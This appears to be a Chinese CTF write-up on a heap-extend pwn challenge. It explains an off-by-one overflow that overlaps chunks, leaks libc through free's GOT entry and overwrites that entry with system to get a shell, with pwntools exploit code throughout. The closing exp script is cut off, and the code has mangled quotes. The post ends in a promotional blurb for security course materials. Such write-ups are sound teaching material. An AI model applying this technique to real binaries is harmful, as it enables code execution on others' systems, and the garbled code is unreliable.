Rookie学堆——heap extend

io.sendline(b'1')
io.recvuntil(b"Size of Heap : ")
io.sendline(str(size))
io.recvuntil(b"Content of heap:")
io.send(content)

这里需要注意head\_chunk是固定0x20的


##### edit修改函数:


![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/76f972c401424d4fa0c24672a2523951.png#pic_center)  
 这里有一个off-by-one漏洞,溢出了一个字节,可以覆盖到下一个head\_chunk的size一个字节,这个很重要。



def edit(idx,content):
io.recvuntil(b"Your choice :“)
io.sendline(b’2’)
io.recvuntil(b"Index :”)
io.sendline(str(idx))
io.recvuntil(b"Content of heap : ")
io.sendline(content)


##### show函数可以输出content\_chunk的内容


![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/ae78b105928d494da55e72571eda568e.png#pic_center)  
 此函数用来泄露libc基址



def show(idx):
io.recvuntil(b"Your choice :“)
io.sendline(b’3’)
io.recvuntil(b"Index :”)
io.sendline(str(idx))
io.recvuntil(b’Content : ')


##### delete函数用来free掉head\_chunk和content\_chunk:


![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/33fd59a98fb34672b12cce1d757add8f.png#pic_center)



def delete(idx):
io.recvuntil(b"Your choice :“)
io.sendline(b’4’)
io.recvuntil(b"Index :”)
io.sendline(str(idx))


#### 攻击步骤


首先创建两个0x20大小的chunk



create(0x18,b’a’*8) #chunk0
create(0x18,b’b’*8) #chunk1


———————————————————————————————————————————————————————————  
 后续将head\_chunk0–>h0,content\_chunk0–>c0  
 h1,c1同理  
 ———————————————————————————————————————————————————————————  
 ![h表示head_chunk,c表示content_chunk](https://img-blog.csdnimg.cn/direct/1d00bf35e95f45edadc23ce9e0738369.png#pic_center)


然后edit–>chunk0,将bin/sh写入到content\_chunk0,同时通过off-by-one漏洞将h1的size位覆盖为0x41



payload = ‘/bin/sh\x00’ + “a”*0x10 + “\x41”
edit(0,payload)


![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/7044b1025b464c7982aa0c30aadeb1ca.png#pic_center)


这时系统就会认为h1和c1是一个chunk,当我们这时free–>h1时c1也会跟着被free掉



delete(1)


![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/8bfd1b7c0d864588ba85ce7fcab5cf08.png#pic_center)  
 两个chunk都在fastbin中,再次创建chunk的时候会优先从fastbin中找相同大小的返还给用户


如果此时我们再malloc(0x30)也就是0x40大小的chunk,那么程序就会返回给我们一个0x20大小的head\_chunk–>h1’(也就是原先的c1)+ 0x40大小的content\_chunk–>c1’(也就是我们原先的h1)


但c1,h1二者的地址关系是不会变的(h1在上,c1再下),只不过两者功能调换了一下。我们读入内容永远是往content\_chunk读入的,故现在往c1’(h1)写入内容,此时就可覆盖h1’(c1)的head\_chunk+0x18即指向content\_chunk的指针



payload = p64(0)*4 + p64(0x30) + p64(elf.got.free)
create(0x30,payload)
show(1)


![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/1dd9c1c9d8c4491280f4efa1aa81388e.png#pic_center)  
 此时已将内容指针指向了free的got表地址,下面就可以通过show函数(打印出head\_chunk+0x18即指向content\_chunk的指针里的内容)泄露free\_got进而泄露libc基址



show(1)
free_addr = u64(io.recv(6).ljust(8,b’\x00’))
libc_base = free_addr - libc.sym.free
slog(‘libc_base’,libc_base)
sys_addr = libc_base + libc.sym.system


此时再通过edit函数修改free\_got指针的内容位system函数  
 edit函数往head\_chunk+0x18即指向content\_chunk的指针里覆盖内容



edit(1,p64(sys_addr))


![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/dff53e9a869544febe9307a75c21d171.png#pic_center)  
 此时已经忘content\_chunk0里写入bin/sh,只需对chunk0执行删除函数调用free(已被劫持为system函数)函数实际就执行了system(bin/sh)也就得到shell了。



delete(0)


下边是总的exp:


#### exp



from pwn import *
from ctypes import *
from time import sleep
from LibcSearcher import *
#context(arch = elf.arch,log_level = ‘debug’,os = ‘linux’)
context(arch = “amd64”,os = “linux”,log_level= “debug”)
context.terminal = [‘tmux’, ‘splitw’, ‘-h’]

file_name = ‘pwn’
elf = ELF(file_name)

libc = ELF(‘./ld-2.23.so’)

libc= ELF(‘./libc.so.6’)
#libc= ELF(‘./libc-2.31.so’)

debug = 0
if debug:
io = remote(‘node5.buuoj.cn’, 25281)
else:
io = process(file_name)
def slog(name, address): print(“\033[40;34m[+]\033[40;35m” + name + “==>” +hex(address) + “\033[0m”)

gdb.attach(io,‘b *$rebase(0x400fe2)’)

gdb.attach(io,‘b *0x400d78’)

def create(size,content):
io.recvuntil(b"Your choice :“)
io.sendline(b’1’)
io.recvuntil(b"Size of Heap : “)
io.sendline(str(size))
io.recvuntil(b"Content of heap:”)
io.send(content)
def delete(idx):
io.recvuntil(b"Your choice :”)
io.sendline(b’4’)
io.recvuntil(b"Index 😊
io.sendline(str(idx))

最后

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

img

img

img

img

img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!

如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!**

如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

  • 10
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值